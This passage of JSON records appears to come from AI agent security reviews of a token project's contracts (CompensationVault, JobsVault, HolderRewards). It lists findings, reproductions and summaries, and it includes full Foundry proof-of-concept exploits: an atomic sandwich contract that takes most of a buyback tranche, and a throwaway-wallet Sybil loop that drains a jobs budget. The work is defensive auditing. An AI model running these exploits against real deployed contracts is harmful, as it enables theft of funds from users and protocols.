epoch 3 with pot = snapshotPot = 100e18 and requestId = 0 (no oracle request, OracleDeferred). onDeposit(price) likewise opens epoch 4 with pot = 100e18 + 0.5e18 and no request. Expected: an epoch whose own pot exceeds the price buys its root. Actual: no request until a sponsor pays price from their wallet (test/scratch/Probe2.t.sol::testCarryEpochIsDeferredAndSponsorMustPay).","severity":"low","snippet":"        if (price == 0 || price >= deposit) revert InsufficientDeposit();","title":"Oracle affordability is checked against the new deposit only, so a carry-only epoch is never asked and its rolled-over pot waits on a sponsor"},{"citation":"resolved","description":"Boundary x precision. The only affordability rule is deposit > price, so any deposit between price + 1 and a few times price buys a 30-member panel answer for a reward budget that rounds to nothing per holder. With 40% of weekly creator fees as the deposit, a slow week converts the holders' share almost entirely into oracle fees instead of carrying it to a week where it is worth distributing. Fix: require deposit >= k * price (or a minimum pot) before asking, otherwise defer and let the carry mechanism merge it into the next week.","line":113,"path":"src/HolderRewards.sol","reproduction":"price = 0.5 IMD; vault transfers 0.5 IMD + 1 wei to HolderRewards and calls onDeposit(0.5e18 + 1): epoch 1 pot = 1 wei, Intake paid 0.5e18 (test/scratch/Probe2.t.sol::testTinyDepositBuysOracleForOneWei). Expected: a deposit this small is carried forward. Actual: 99.9999999999999998% of the week's holder share is spent on the oracle for a 1 wei budget.","severity":"low","snippet":"        if (price == 0 || price >= deposit) revert InsufficientDeposit();","title":"A weekly holder share just above the oracle price spends almost all of it on the oracle (budget of 1 wei)"},{"citation":"resolved","description":"Boundary of the first-call snapshot. buyback() is permissionless from buybackAvailableAt (bind time + 30 minutes). If the vault's IMD balance is below 10 wei at that first call, trancheCap = 0 and _finishBuyback() runs immediately; any IMD that arrives afterwards can never be swapped (BuybackFinished) and there is no other exit for IMD. Whether this happens depends on when the launch hook actually pays the anti-sniper fee to the vault: if it is pushed during the window it is safe, if it is pulled or settled later a griefer calling buyback() at the first eligible second locks it. The same applies to IMD donated after the first tranche (documented in the NatSpec) and to the initialIMD % 10 remainder.","line":88,"path":"src/CompensationVault.sol","reproduction":"Vault holds 0 IMD at buybackAvailableAt; anyone calls buyback(): buybackComplete = true, tranches = 0. 500 IMD then arrives (fee or transfer). buyback() reverts BuybackFinished; no function moves IMD out. (test/scratch/Probe2.t.sol::testIMDArrivingAfterInstantFinishIsStuck).","severity":"low","snippet":"            initialIMD = IERC20(Network.IMD).balanceOf(address(this));","title":"IMD that reaches CompensationVault after buyback() has finished is stuck forever, including an anti-sniper fee paid out late"},{"citation":"resolved","description":"Lead, not verified against the real Intake. onDeposit measured 2,414,843 gas end to end with the mock Intake (which stores the 1,692 byte body in storage), so the self-call runs at roughly 2.2M of its 3M allowance. If the production Intake's request() for a ~1.7 KB oracle body costs more than about 2.8M (storage of the body plus request records plus the IMD transfer), every weekly request is silently deferred and holders depend on sponsored retries. Worth measuring once against the real contract on a fork; if it is near the limit, raise the cap or stop capping the self-call.","line":104,"path":"src/HolderRewards.sol","reproduction":"forge test --match-path test/scratch/Probe.t.sol::testOracleRequestGas logs 'onDeposit gas 2414843, body length 1692'. No failing input is claimed on this code; the risk is the gap between the mock and the real Intake.","severity":"info","snippet":"        try this.requestDepositedEpoch{gas: ORACLE_REQUEST_GAS_LIMIT}(id, amount) {}","title":"ORACLE_REQUEST_GAS_LIMIT (3,000,000) is close to the measured cost of the oracle request against the mock Intake"}],"hash":"7a7371f6b85fca0b798689b173b264d5d8b921269ec612b69379a9666b2a33e3","nodeId":"2df4a023-4861-4827-9ac6-57ab4d75afed","outcome":"completed","summary":"The review is complete. The findings file is written and validated, and both proof tests fail on the current code as required.\n\n**Outcome:** `.imd-findings.json` holds 7 findings (2 high with Foundry proofs, 1 medium, 3 low, 1 info) and 19 coverage rows, one for each of the 17 listed entry points plus two invariants. Every snippet and line was checked against the tree.\n\n**Findings, most severe first**\n\n1. **High, CompensationVault.sol:137.** A 10 wei IMD donation before the first buyback makes every tranche a 1 wei swap. Uniswap v4 consumes it entirely as fee and returns zero output, so buyback reverts with InvalidSwap forever and the airdrop of the 10% supply can never open. Proof: `test/scratch/DustTrancheBrick.t.sol` against the real v4 PoolManager, fails with BuybackNotFinished.\n2. **High, CompensationVault.sol:137.** When a tranche exceeds what the bounded launch range can absorb, the swap partially fills (observed: 3.05 IMD of a 100 IMD tranche), the strict delta check reverts, and the same tranche size is retried forever. Self-inflicted when the anti-sniper fee is large relative to range liquidity, or inducible by anyone who pushes the price out of range. Proof: `test/scratch/PartialFillBrick.t.sol`.\n3. **Medium, JobsVault.sol:36.** Eligibility reads the live balance and the cooldown is per wallet, so one 1,000,000-token holding rotated across wallets in one block drains the whole jobs budget. Demonstrated by a passing scratch test.\n4. **Low, HolderRewards.sol:113.** Oracle affordability compares the price with the new deposit only, so a carry-only epoch (rolled-over pot after a zero-fee week) is never asked and waits on a sponsor's own IMD.\n5. **Low, HolderRewards.sol:113.** A deposit of price + 1 wei buys a full panel answer for a 1 wei budget.\n6. **Low, CompensationVault.sol:88.** IMD arriving after an instant zero-budget finish is stuck for good. Whether this bites depends on when the hook pays the anti-sniper fee.\n7. **Info, HolderRewards.sol:104.** The 3M gas cap on the oracle self-call sits near the 2.2M measured against the mock Intake. Unverified against the real contract, reported as a lead.\n\n**Coverage of my area:** split arithmetic, rounding dust, the 7, 10, 28-day and 30-minute boundaries, carry and pot accounting, the Merkle fixture (62 wallets, weights sum to the committed total), decimals overflow in JobsVault, int128 bounds and settle checks in the swap path all hold. Not reached: live-fork behaviour of the real Intake and launch hook, which only a fork run can settle.","treeHash":null,"usage":{"cachedInputTokens":2186822,"inputTokens":578,"model":"claude-fable-5-1","outputTokens":47998,"runtime":"claude","turns":40,"wallClockMs":785674}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"8f08088e7a7f557f","findings":[{"citation":"resolved","description":"Earlier finding: a front-run parked one unit inside the band edge made the tranche return zero tokens and the zero-output rule then called _finishBuyback(), locking all IMD. The fix treats a swap that stops at the band edge (paid < spend) or buys nothing (received == 0) as a partial fill: no tranche is counted, _finishBuyback() is not called, the reference is not moved, and the cooldown is TRANCHE_INTERVAL * paid / trancheCap. The buyback now ends only after ten full tranches, a zero IMD balance, or BUYBACK_WINDOW (3 days), after which anyone can end it so the airdrop opens. Reran my original reproduction against the fixed code: confirmed fixed. Not a defect; recorded so the settlement is on file.","line":147,"path":"src/CompensationVault.sol","reproduction":"test/scratch/Settle.t.sol::testBandEdgeFrontRunSettled (real v4 PoolManager, TEST(0x1000)/IMD, fee 3000, 1:1, full-range liquidity 20,000e18, vault holds 1000 IMD, attacker with 2000 IMD pushes to priceBand().upper - 1, calls buyback() and sells back in one transaction at buybackAvailableAt). Before the fix: buybackComplete true, tranches 0, later buyback() reverted BuybackFinished. Now: vault IMD spent 2 wei, tranches 0, buybackComplete false, attacker cost 1.789 IMD; an honest buyback() one block later fills tranche 1 with 100 IMD and receives more than 99 TEST. The author's testRealV4BandEdgeFrontRunCannotEndOrDelayTheBuyback (ten repeated front-runs) also passes.","severity":"info","snippet":"        if (paid < spend || received == 0) {","title":"SETTLED, fixed: CompensationVault.buyback() band-edge front-run no longer ends the buyback (earlier high 8d4670410f97)"},{"citation":"resolved","description":"Earlier finding: after a fill the pool price at the end of the vault's own swap became the next reference, so a caller positioning the price just under the upper edge before each call ratcheted the band 3% per tranche. The fix removes the reference update from the fill path; the reference now moves only on the out-of-band path, by one band step at most once per TRANCHE_INTERVAL, clamped to the band edge, and only when referenceSetAt < block.timestamp. Reran my original reproduction: confirmed fixed, the attacked run ends at the same reference as the honest run and the attacker's take is bounded per fill. Residual measured (the author documents it in README and docs/REVIEW.md): alternating an out-of-band push + buyback() + sell-back (moves the reference one band) with an in-band push + buyback() + sell-back ten minutes later still lets the reference drift one band per 20 minutes, but the attacker loses money at every pool size tested, so it is a paid grief with a bounded effect, not a profitable extraction. Not reopened.","line":128,"path":"src/CompensationVault.sol","reproduction":"test/scratch/Settle.t.sol::testInBandRatchetSettled, same setup as above with the attacker holding 50,000 IMD; ten rounds ten minutes and one block apart, each pushing to referenceSqrtPrice * 1.0095, calling buyback() and selling all TEST back. Before the fix: 10 tranches, 859.79 TEST bought, attacker profit 32.88 IMD, final reference 1.1512x fair. Now: 10 tranches, 940.61 TEST bought (honest run: 949.66), attacker profit 3.45 IMD, final reference 1.0457x fair, identical to the honest run's final reference (the honest run itself steps the reference because 1000 IMD of buying moves a 20,000e18 pool about 4.5% in sqrt price). Residual, testResidualRatchet20k/5k/100k (attacker holds 1,000,000 IMD, 20 rounds alternating out-of-band push to ref*1.02 and in-band push to ref*1.0095): liquidity 20,000e18: vault buys 829.78 TEST against 949.66 honest, attacker profit -39.0 IMD; 100,000e18: 832.81 against 987.16, attacker -858.7 IMD; 5,000e18: 624.18 against 831.25, attacker -27.8 IMD, only 1 full tranche in 58 rounds. The attack has negative expected value in every case.","severity":"info","snippet":"            _recordReference(price <= lower ? lower : upper);","title":"SETTLED, fixed: CompensationVault.buyback() fill no longer records the post-swap price, so an in-band sandwich does not compound (earlier medium 3d6c92f676f5)"},{"citation":"resolved","description":"No code change this round and none required by me: the author disputes it as the brief's literal rule ('any wallet holding at least 1,000,000 ... at most once per 24 hours' is a spot balance with a per-wallet cooldown) and documents the property and four candidate rule changes (global daily cap, snapshot eligibility, holding age, stake-to-request) in README 'Holder jobs'. The IMD goes to the Intake as job payments; nobody profits; other holders are starved for the week. This remains a property of the requested rule, not a code defect, and only the requester can change it. Kept at info so the decision stays visible; it does not block the launch.","line":42,"path":"src/JobsVault.sol","reproduction":"JobsVault bound, holding 20 IMD, job price 1 IMD; one 1,000,000 TEST bag hopped through 20 fresh wallets in one transaction, each calling requestJob(body). Expected under a per-holding reading: 1 IMD spent. Actual under the per-wallet rule as written: 20 IMD spent in one block. The live-Intake fork test testRealIntakeJobsThresholdAndDailyCooldown confirms the per-wallet threshold and cooldown as specified.","severity":"info","snippet":"        if (IERC20(token).balanceOf(msg.sender) < minimumHolding) revert InsufficientHolding();","title":"JobsVault.requestJob(): one 1,000,000-token bag moved between wallets opens one job per hop; stands as the brief's per-wallet rule, requester's decision (earlier info abc847d49ecc)"}],"hash":"7dc7d6a1d6f18ab4b2fd183c062620a80769239286cf293559ca41ae9cc3e5c4","nodeId":"3087fc46-ea6e-470d-9726-f85e98d2b8a3","outcome":"completed","summary":"Both earlier findings are settled as fixed, and nothing new blocks the launch.\n\n**Finding 1, band-edge front-run (earlier high):** fixed. I reran my original reproduction against the revised `buyback()` with the real v4 PoolManager. The parked-edge front-run now produces a partial fill: 2 wei spent, no tranche, buyback still open, reference unchanged, and an honest call one block later fills a full 100 IMD tranche. The author's ten-repeat test passes as well.\n\n**Finding 2, in-band ratchet (earlier medium):** fixed. The fill path no longer records the post-swap price. My ten-round sandwich now ends at exactly the honest run's final reference, buys 940.6 TEST against 949.7 honest, and nets the attacker 3.45 IMD instead of 32.88. I also measured the residual the author documents, alternating an out-of-band push with an in-band fill. It drifts the reference one band per 20 minutes but loses the attacker money at every pool size tested (20k, 5k and 100k liquidity), so I recorded it inside the settlement as a paid grief rather than reopening it.\n\n**JobsVault per-wallet rule:** unchanged, still info. It is the brief's literal rule and only the requester can change it.\n\nVerification run this round:\n\n- Offline suite: 98 passed, 1 skipped.\n- Fork suite against the live Robinhood Chain head with the real Intake and factory: 5 passed.\n- Pinned protected deployment rehearsal with SIMDVault's real creation code under CREATE2 from the factory: passed.\n- Manifest: one contract, no constructor arguments, notes under 4,000 characters.\n\nThe findings file holds three info entries and a coverage row for all 19 entry points plus the deployment and suite checks, every row `holds`. My scratch test lives under `test/scratch/Settle.t.sol`, and no tracked file was changed.","treeHash":null,"usage":{"cachedInputTokens":3055128,"inputTokens":930,"model":"claude-fable-5-1","outputTokens":29213,"runtime":"claude","turns":30,"wallClockMs":670526}},{"artifacts":[],"attempt":1,"bundleHash":"136e02b7f883e5d2950ab1c9dbbd40574b2dccc8307dbc8e859ffbe73053c9c4","device":"01695e9524859621","findings":[{"description":"The brief says buyback() runs 'in up to 10 tranches: each call spends at most 10% of the IMD the vault held when buyback first ran, at most one call every 10 minutes'. Since revision e79ae27, a swap that stops at the band edge (paid < spend) or receives nothing is a 'partial fill'. It does not count towards MAX_TRANCHES, and it sets nextBuybackAt = block.timestamp + TRANCHE_INTERVAL * paid / trancheCap instead of a full TRANCHE_INTERVAL. So a partial fill followed by a full tranche swaps twice in under 10 minutes and spends more than one cap in that window. The number of swapping calls is also unbounded by 10: only full tranches are counted. The per-call cap (spend <= trancheCap) still holds, so one swap's sandwich exposure stays bounded. The deviation was made on purpose, to stop a band-edge front-run from retiring the budget (finding 8d4670). It is still a change to the commissioned rate limit, and it should be confirmed with the requester rather than blessed by a test. One alternative that keeps the 8d4670 fix: keep the proportional cooldown, but never let two swapping calls fall less than TRANCHE_INTERVAL apart when the earlier one spent more than a dust threshold. Another: charge partial spends against a rolling one-cap-per-interval budget.","line":147,"path":"src/CompensationVault.sol","reproduction":"Real v4 PoolManager at Network.POOL_MANAGER. Pool TOKEN(0x1000)/IMD, fee 3000, tickSpacing 60, initialized at sqrtPriceX96 = 2^96, liquidity 1e24 in ticks [-600, 600]. CompensationVault (from SIMDVault, bound to launch 7) holds 1000 IMD, so trancheCap = 100 IMD. At buybackAvailableAt, a third party buys TOKEN with IMD up to sqrt price upper - upper*25e-6, where upper = priceBand().upper. Call buyback(): it spends 70.51 IMD and stops at the band edge. tranches stays 0 and nextBuybackAt = t0 + 423 s. The third party sells back 1e22 TOKEN. At t0 + 423 s, buyback() swaps again and spends a full 100 IMD (tranches = 1). Expected under the brief: the second call reverts TooEarly, because it is less than 10 minutes after the previous call. Actual: two swaps 423 s apart, 170.51 IMD spent (1.7 caps) within 10 minutes. Repeating band-edge partial fills can likewise give more than 10 swapping calls before the buyback completes.","severity":"low","title":"Partial-fill rule lets buyback swap more than once per 10 minutes and in more than 10 swaps"}],"hash":"84665641105bac7cf2a43cd61f200c1e369931fca15ecb73c379fb9b080eda5f","nodeId":"52d41d5f-768b-4ff0-b7e0-e29f3db68fd9","outcome":"completed","summary":"`forge build` passes, and `forge test` with the verifier's fuzz seed gives 98 passed, 0 failed, 1 skipped. The skipped one is the Robinhood fork suite, which skips when no RPC is configured, so I did not run it against the live chain in this round.\n\n**Why a test was failing.** Since my last accepted round, another contributor changed `src/CompensationVault.sol` (commit `e79ae27`):\n- A filled tranche no longer saves its post-swap price as the reference price for the next tranche's ±1.5% band (their fix for finding `3d6c92`).\n- A swap that stops at the band edge, or buys nothing, is now a \"partial fill\". It doesn't count as a tranche, and its cooldown is shorter in proportion to what it spent (their fix for `8d4670`).\n\nMy `testTrancheAfterReRecordTradesOnlyInsideNewBand` still expected the old behaviour, so it failed.\n\n**What I changed (only under `test/`):**\n- **`test/CompensationPriceBand.t.sol`:**\n  - That test now checks that after a fill the reference price and its timestamp stay at what was recorded before the swap, and differ from the post-swap price.\n  - New fuzz test `testFuzzBandEdgeStopNeverOverspendsOrMovesReference` (200 runs). It parks the pool just below the band's upper edge and checks that a call never spends more than the 100 IMD per-call limit, stays inside the band, and doesn't move the reference or end the buyback. It also checks that a band-limited fill isn't counted as a tranche and that its cooldown matches what it spent.\n- **`test/TESTING.md`:** updated for this revision and the finding below.\n\n**Finding: the new partial-fill rule breaks the brief's rate limit (low).** I reported this in `.imd-findings.json` rather than writing a test that accepts it. The brief asks for \"up to 10 tranches … at most one call every 10 minutes\". The other contributor already tests the fills themselves; no test checks them against this limit.\n- **Setup:** a real v4 PoolManager with 1e24 liquidity around a 1:1 price, and the vault holding 1000 IMD (so 100 IMD per tranche).\n- **Expected:** a second swap within 10 minutes reverts `TooEarly`.\n- **Actual:** with the pool parked 25 ppm below the band edge, the first call spends 70.51 IMD as a partial fill. A full 100 IMD tranche then goes through 423 s later. That is 170.51 IMD in two swaps inside 10 minutes.\n- **Also:** partial fills don't count toward the 10-tranche limit, so more than 10 swaps can run.\n- **Impact:** each single call still spends at most 100 IMD, so what one sandwich can take is still limited. The finding suggests two fixes that keep the `8d4670` protection.\n\nThe proof test for this used helpers from other test files, so it didn't meet the rule that proofs be self-contained. Proofs are only required for critical and high findings, so the finding gives the reproduction steps without one.","treeHash":"7fe11e65b270d0ead8497b51e600f9c6a40e9d52","usage":{"cachedInputTokens":1238068,"inputTokens":34,"model":"claude-opus-5-5","outputTokens":16731,"runtime":"claude","turns":20,"wallClockMs":261681}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"4ebee02fc506f27c","findings":[{"citation":"resolved","description":"Economic Security / Flow Gap (execution x periphery x first principles). The brief says the ten 10% tranches exist 'so no single swap can be sandwiched for much'. buyback() is permissionless and the only execution checks are received != 0 and full input consumption (lines 106-110, 137); the swap's sqrtPriceLimitX96 is the pool's outer bound. A caller therefore bundles, in one transaction: (1) swap IMD->TEST to push the pool price up, (2) buyback(), which spends trancheCap IMD at the pushed price and receives almost no TEST, (3) swap all TEST back. Every tranche can be taken this way because the attacker decides when each tranche runs (10-minute spacing is no obstacle). The TEST that should have been bought for the 62 migration victims is instead IMD profit for the sandwicher. README line 102 acknowledges tranching 'does not guarantee a price or prevent sandwiches', but the brief's own guarantee is still violated and the loss is unbounded by the tranche size: extraction fraction ~= 1 - P0/P1 where P1 is the pushed price, so capital of ~2-3x the pool's IMD-side reserve takes >80% of each tranche. Minimal design-preserving fix: record a reference sqrtPrice at setLaunch (or at the previous tranche) and pass a sqrtPriceLimitX96 / minimum-output derived from it with a bounded deviation (e.g. 10-20%), reverting the tranche when the pool is outside it so the attacker must hold the manipulated price across blocks and be arbitraged; keep the 10x10% tranche schedule.","line":131,"path":"src/CompensationVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {BalanceDelta, BalanceDeltaLibrary} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {CompensationVault} from \"src/CompensationVault.sol\";\nimport {Network} from \"src/Network.sol\";\n\ncontract SandwichToken is ERC20 {\n    constructor() ERC20(\"T\", \"T\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev Seeds one full-range position, like a launch pool that gives the token its whole upside.\ncontract Seeder is IUnlockCallback {\n    using BalanceDeltaLibrary for BalanceDelta;\n\n    IPoolManager private immutable manager;\n\n    constructor(IPoolManager manager_) {\n        manager = manager_;\n    }\n\n    function seed(PoolKey memory key, uint128 amount) external {\n        manager.unlock(abi.encode(key, amount));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (PoolKey memory key, uint128 amount) = abi.decode(data, (PoolKey, uint128));\n        (BalanceDelta delta,) = manager.modifyLiquidity(\n            key,\n            IPoolManager.ModifyLiquidityParams({\n                tickLower: -887_220,\n                tickUpper: 887_220,\n                liquidityDelta: int256(uint256(amount)),\n                salt: bytes32(0)\n            }),\n            \"\"\n        );\n        _pay(key.currency0, delta.amount0());\n        _pay(key.currency1, delta.amount1());\n        return \"\";\n    }\n\n    function _pay(Currency c, int128 delta) private {\n        if (delta < 0) {\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));\n            manager.settle();\n        }\n    }\n}\n\n/// @dev One transaction: buy the launched token, let buyback() execute at the pushed price, sell back.\ncontract Sandwicher is IUnlockCallback {\n    using BalanceDeltaLibrary for BalanceDelta;\n\n    IPoolManager private immutable manager;\n    CompensationVault private immutable vault;\n    PoolKey private key;\n    bool public buybackSucceeded;\n\n    constructor(IPoolManager manager_, CompensationVault vault_, PoolKey memory key_) {\n        manager = manager_;\n        vault = vault_;\n        key = key_;\n    }\n\n    function attack(uint256 imdIn) external {\n        // front-run: IMD -> token\n        manager.unlock(abi.encode(true, imdIn));\n        // victim tranche at the manipulated price; a fixed contract reverts here and the attack\n        // still has to pay its own round trip\n        try vault.buyback() {\n            buybackSucceeded = true;\n        } catch {}\n        // back-run: all token -> IMD\n        manager.unlock(abi.encode(false, IERC20(Currency.unwrap(key.currency0)).balanceOf(address(this))));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, uint256 amountIn) = abi.decode(data, (bool, uint256));\n        // currency0 is the launched token, currency1 is IMD: buying the token is oneForZero\n        bool zeroForOne = !buy;\n        BalanceDelta delta = manager.swap(\n            key,\n            IPoolManager.SwapParams({\n                zeroForOne: zeroForOne,\n                amountSpecified: -int256(amountIn),\n                sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n            }),\n            \"\"\n        );\n        Currency input = zeroForOne ? key.currency0 : key.currency1;\n        Currency output = zeroForOne ? key.currency1 : key.currency0;\n        int128 inDelta = zeroForOne ? delta.amount0() : delta.amount1();\n        int128 outDelta = zeroForOne ? delta.amount1() : delta.amount0();\n        manager.sync(input);\n        IERC20(Currency.unwrap(input)).transfer(address(manager), uint256(-int256(inDelta)));\n        manager.settle();\n        manager.take(output, address(this), uint256(uint128(outDelta)));\n        return \"\";\n    }\n}\n\ncontract BuybackSandwichTest is Test {\n    address internal constant TOKEN = address(0x1000); // below IMD so it is currency0\n    SandwichToken internal imd;\n    SandwichToken internal token;\n    CompensationVault internal vault;\n    PoolKey internal key;\n    IPoolManager internal manager;\n\n    function setUp() public {\n        vm.chainId(4663);\n        vm.warp(1_800_000_000);\n        vm.roll(30_000_000);\n        vm.etch(Network.IMD, address(new SandwichToken()).code);\n        vm.etch(TOKEN, address(new SandwichToken()).code);\n        imd = SandwichToken(Network.IMD);\n        token = SandwichToken(TOKEN);\n        deployCodeTo(\"PoolManager.sol:PoolManager\", abi.encode(address(this)), Network.POOL_MANAGER);\n        manager = IPoolManager(Network.POOL_MANAGER);\n        key = PoolKey({\n            currency0: Currency.wrap(TOKEN),\n            currency1: Currency.wrap(Network.IMD),\n            fee: 3000,\n            tickSpacing: 60,\n            hooks: IHooks(address(0))\n        });\n        manager.initialize(key, uint160(1 << 96)); // 1 token = 1 IMD\n        Seeder seeder = new Seeder(manager);\n        imd.mint(address(seeder), 2e24);\n        token.mint(address(seeder), 2e24);\n        seeder.seed(key, 1e24); // about 1,000,000 of each side in range at the current price\n\n        vault = new CompensationVault(address(this));\n        vault.setLaunch(TOKEN, key);\n        imd.mint(address(vault), 1_000_000 ether); // the anti-sniper fee; tranche = 100,000 IMD\n        vm.warp(vault.buybackAvailableAt());\n    }\n\n    /// @notice The brief: tranches mean \"no single swap can be sandwiched for much\". A caller who\n    /// bundles the tranche between two swaps of their own takes most of it.\n    function test_buybackTrancheIsSandwichedForMostOfItsValue() public {\n        Sandwicher attacker = new Sandwicher(manager, vault, key);\n        uint256 capital = 3_000_000 ether;\n        imd.mint(address(attacker), capital);\n\n        uint256 vaultImdBefore = imd.balanceOf(address(vault));\n        attacker.attack(capital);\n\n        uint256 spent = vaultImdBefore - imd.balanceOf(address(vault));\n        uint256 received = token.balanceOf(address(vault));\n        uint256 attackerProfit = imd.balanceOf(address(attacker)) > capital\n            ? imd.balanceOf(address(attacker)) - capital\n            : 0;\n        emit log_named_uint(\"vault IMD spent\", spent);\n        emit log_named_uint(\"vault tokens received\", received);\n        emit log_named_uint(\"attacker IMD profit\", attackerProfit);\n\n        // At the pool's pre-attack price 1:1 the tranche of 100,000 IMD is worth ~99,000 tokens.\n        // Expected: a caller cannot take more than a small slice (fees) of a tranche.\n        assertEq(attackerProfit, 0, \"a tranche caller must not profit from its own sandwich\");\n        if (spent != 0) {\n            assertGe(received * 100, spent * 90, \"vault should get at least 90% of fair value per tranche\");\n        }\n    }\n}","reproduction":"Real v4 PoolManager at Network.POOL_MANAGER, TEST=currency0 (0x1000), IMD=currency1, fee 3000, full-range liquidity 1e24 at price 1:1 (~1,000,000 of each side), CompensationVault holds 1,000,000 IMD (tranche = 100,000 IMD), block.timestamp = buybackAvailableAt. Attacker contract with 3,000,000 IMD calls attack(): unlock+swap exact-in 3,000,000 IMD -> TEST (sqrtPrice 1 -> ~4), buyback(), unlock+swap all TEST -> IMD. Expected: the vault receives about 99,000 TEST for its 100,000 IMD (fair price minus impact) and the caller cannot profit. Actual (forge run): vault IMD spent 100000000000000000000000, vault tokens received 6106829568866958993717 (~6.1% of fair value), attacker IMD profit 82274465228611993224479 (~82% of the tranche) in one transaction. Repeating every 10 minutes takes ~82% of the entire anti-sniper fee.","severity":"high","snippet":"                    sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1","title":"CompensationVault.buyback() swaps with no price bound: the caller sandwiches each tranche atomically and takes ~80% of it"},{"citation":"resolved","description":"Economic Security ('legitimate features turned against the protocol', 'cheapest vector that blocks other users'). The eligibility check is a spot balanceOf of msg.sender and the 24-hour limit is keyed by msg.sender only. Nothing ties the bag to the wallet across calls, so one 1,000,000 TEST bag can be moved to a throwaway contract, used to open a job paid by the vault, moved back, and so on, all inside one transaction (no swap, no capital beyond the single bag, gas only). The JobsVault holds 25.72% of all weekly fees and has no withdraw, so one actor converts the entire shared budget into jobs for themselves the moment it is deposited (they can even do it inside distribute()'s block), and every other qualifying holder gets nothing until next week, when the same actor repeats it. The brief's guarantee 'at most once per 24 hours' per 1,000,000-token holder is not enforced for the economic actor. Fix options that keep the design: a global per-day job cap for the vault (e.g. budget/price spread over 7 days), eligibility from the previous HolderRewards snapshot root instead of a spot balance, or a minimum holding age tracked per address via a token-balance snapshot.","line":36,"path":"src/JobsVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {JobsVault} from \"src/JobsVault.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\nimport {Network} from \"src/Network.sol\";\n\ncontract SybilToken is ERC20 {\n    constructor() ERC20(\"T\", \"T\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev Minimal Intake: sells every action at one price, pulls the IMD, returns a fresh id.\ncontract SybilIntake is IIntake {\n    uint256 public price;\n    uint256 public nonce;\n    uint256 public paid;\n\n    function setPrice(uint256 price_) external {\n        price = price_;\n    }\n\n    function priceOf(bytes32, address) external view returns (uint256) {\n        return price;\n    }\n\n    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)\n        external\n        payable\n        returns (bytes32 id)\n    {\n        require(amount == price, \"wrong price\");\n        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));\n        paid += amount;\n        id = keccak256(abi.encode(msg.sender, ++nonce));\n    }\n}\n\n/// @dev A throwaway address: receives the bag, opens one job, hands the bag back.\ncontract Sock {\n    function run(JobsVault jobs, IERC20 token, address home) external {\n        jobs.requestJob(bytes(\"{\\\"objective\\\":\\\"x\\\"}\"));\n        token.transfer(home, token.balanceOf(address(this)));\n    }\n}\n\ncontract JobsSybilTest is Test {\n    SybilToken internal imd;\n    SybilToken internal token;\n    SybilIntake internal intake;\n    JobsVault internal jobs;\n\n    function setUp() public {\n        vm.chainId(4663);\n        vm.warp(1_800_000_000);\n        vm.roll(30_000_000);\n        vm.etch(Network.IMD, address(new SybilToken()).code);\n        vm.etch(Network.INTAKE, address(new SybilIntake()).code);\n        imd = SybilToken(Network.IMD);\n        intake = SybilIntake(Network.INTAKE);\n        intake.setPrice(10 ether);\n        token = new SybilToken();\n        jobs = new JobsVault(address(this));\n        jobs.setToken(address(token));\n        // this week's 25.72% share: enough for exactly 8 jobs at 10 IMD each\n        imd.mint(address(jobs), 80 ether);\n    }\n\n    /// @notice The brief: a holder of 1,000,000 tokens may open at most one job per 24 hours.\n    /// One 1,000,000 bag passed through fresh addresses opens as many jobs as the vault can pay,\n    /// in one block.\n    function test_oneBagDrainsTheWholeJobsBudgetInOneBlock() public {\n        address whale = makeAddr(\"whale\");\n        token.mint(whale, 1_000_000 ether);\n\n        vm.startPrank(whale);\n        jobs.requestJob(bytes(\"{\\\"objective\\\":\\\"mine\\\"}\")); // the one job the brief allows today\n        for (uint256 i; i < 7; ++i) {\n            Sock sock = new Sock();\n            token.transfer(address(sock), 1_000_000 ether);\n            sock.run(jobs, token, whale); // same block, same bag, another job paid by the vault\n        }\n        vm.stopPrank();\n\n        emit log_named_uint(\"jobs paid for one bag in one block\", intake.paid() / intake.price());\n        emit log_named_uint(\"vault IMD left\", imd.balanceOf(address(jobs)));\n        // Expected under the brief: one job today, 70 IMD still in the vault for other holders.\n        assertLe(intake.paid(), 10 ether, \"one 1,000,000 bag must buy at most one job per 24 hours\");\n        assertGe(imd.balanceOf(address(jobs)), 70 ether, \"the shared budget must survive one holder\");\n    }\n}","reproduction":"JobsVault with token set, Intake price 10 IMD, vault funded with 80 IMD. whale holds 1,000,000 TEST. In one block: whale.requestJob() (allowed); then 7 times: deploy Sock, transfer 1,000,000 TEST to it, Sock.requestJob(), Sock transfers the bag back. Expected under the brief: 1 job paid (10 IMD), 70 IMD left for other holders. Actual: 8 jobs paid, vault IMD left 0; a ninth Sock would also succeed if funds 